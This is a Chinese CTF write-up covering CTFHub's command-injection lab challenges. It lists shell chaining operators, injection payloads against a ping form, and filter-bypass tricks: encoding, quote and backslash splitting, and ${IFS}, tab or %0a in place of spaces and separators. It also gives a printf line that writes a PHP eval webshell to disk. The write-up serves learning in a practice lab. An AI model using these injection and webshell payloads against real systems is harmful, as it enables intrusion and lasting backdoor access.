1. 程式人生 > 實用技巧 >CTFHUB-技能樹-Web-RCE(下)

CTFHUB-技能樹-Web-RCE(下)

這一篇講命令注入

常用特殊字元:
cmd1|cmd2:無論cmd1是否執行成功,cmd2將被執行
cmd1&cmd2:無論cmd1是否執行成功,cmd2將被執行
cmd1;cmd2:無論cmd1是否執行成功,cmd2將被執行
cmd1||cmd2:僅在cmd1執行失敗時才執行cmd2
cmd1&&cmd2:僅在cmd1執行成功後才執行cmd2
$(cmd):echo$(whoami)或者$(touch test.sh;echo 'ls' >test.sh)
'cmd':用於執行特定命令,如'whoami'
>(cmd):<(ls)
<(cmd):>(ls)

命令注入-無過濾

原始碼就是一個ping命令直接拼接上ip的內容

所以構造一下

①127.0.0.1|ls

②127.0.0.1|cat 66301059911779.php

發現什麼都沒有,看一下原始碼發現原來flag被註釋了

過濾cat

ls發現flag檔案,但是cat命令被過濾,所以得想辦法讀flag檔案的內容,發現我不會,記錄一下

參考https://blog.csdn.net/szgyunyun/article/details/104970118

cat 由第一行開始顯示內容,並將所有內容輸出

tac 從最後一行倒序顯示內容,並將所有內容輸出

more 根據視窗大小,一頁一頁的現實檔案內容

less 和more類似,但其優點可以往前翻頁,而且進行可以搜尋字元

head 只顯示頭幾行

tail 只顯示最後幾行

nl 類似於cat -n,顯示時輸出行號

tailf 類似於tail -f

另:參考https://www.cnblogs.com/chalan630/p/12542239.html

拼接繞過:a=fl;b=ag;cat $a$b

編碼繞過:(base64)echo MTIzCg==|base64 -d #123

(16進位制)echo "313233"|xxd -r -p #123

(10進位制)$(printf "\154\163") #ls

#可以通過這樣來寫webshell,內容為<?php @eval($_POST['c']);?> ${printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php

反斜槓:ca\t fl\ag

單引號或雙引號繞過:ca''t flagca""t flag

${}執行程式碼:${phpinfo()};

選擇任意一個使用,flag仍然在原始碼中檢視

過濾空格

繞過方式(替換掉空格):

①全域性變數:${IFS}或者$IFS$9,$IFS

②重定向符:<

③變數自定義:cmd=$'\x20flag_2413114655637.php'&&cat$cmd

④字串處理:a=$(id)&&b=${a:16:1}&&cat${b}flag_2413114655637.php

參考https://blog.csdn.net/weixin_39219503/article/details/103948357

⑤%20(space)、%09(tab)

過濾目錄分隔符/

這題過濾了/,但是好像不需要用到

直接構造127.0.0.1;cd flag_is_here;cat flag_11504215555192.php

這題好像用| & &&都不行,不知道為什麼

過濾運算子

把/ \ | &都給過濾了,漏了一個;

構造127.0.0.1;cat flag_325302658114852.php

綜合過濾(組合拳)

可以看到過濾了/ \ | & ; (空格) cat flag ctfhub

這裡我們先想一下操作

①127.0.0.1;ls

②127.0.0.1;cd flag_is_here;ls

③127.0.0.1;cd flag_is_here;cat flag_xxx.php

注意這一題命令注入點在url上,而不是框框裡輸入

;號不能用可以用%0a、%0d代替,不過這題好像只能用%0a

空格被過濾上面講了如何繞過

flag被過濾可以fla''g、fla""g等,上面講了

cat上面也講了

構造:127.0.0.1%0acd%09fla""g_is_here%0atac%09fla""g_18066919615927.php

這裡看到了一個有點奇特的payload,記一下

127.0.0.1%0acd%09*%0atac%09*

不明白為什麼*可以替換掉所有 = =

找大佬問清楚了,這裡是屬於巧合了,*是匹配任意值,而這題剛好只有一個目錄,目錄下只有一個檔案,所以才能夠執行正確

同理可以把部分換成*也可以